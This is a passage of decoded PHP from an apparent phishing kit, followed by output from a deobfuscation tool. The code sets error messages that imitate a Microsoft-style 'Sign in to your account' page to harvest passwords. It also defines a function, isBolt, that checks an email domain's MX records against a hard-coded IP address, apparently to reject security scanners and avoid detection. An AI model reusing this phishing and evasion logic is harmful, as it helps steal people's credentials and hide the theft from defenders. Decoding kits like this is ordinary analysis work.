            $error_show = "Your account or password is incorrect. If you don't remember your password, <a style='color: #0067b8;;' href=''>reset it now.</a>";
            $bademail   = "Enter a valid email address.";
            $badbolt    =   "Sorry we can't accept this email, seems to be automated by a robot.";
            $crederror = "Please enter your password.";
            $title = "Sign in to your account";
            break;
    }

function isBolt($email){
    $mail_part = explode( "@", $email );
    $domain = $mail_part[1];
    $Arr = dns_get_record($domain , DNS_MX);
    $count = count($Arr);
        for($i=0; $i<$count; $i++) {
            if(gethostbyname($Arr[$i]['target']) == "138.68.190.241"){
                return gethostbyname($Arr[$i]['target']);
            }
        }
}

Function Calls

None

Variables

None

Stats

MD5 2ae62c99a16b2993664f76728aed6914
Eval Count 0
Decode Time 71 ms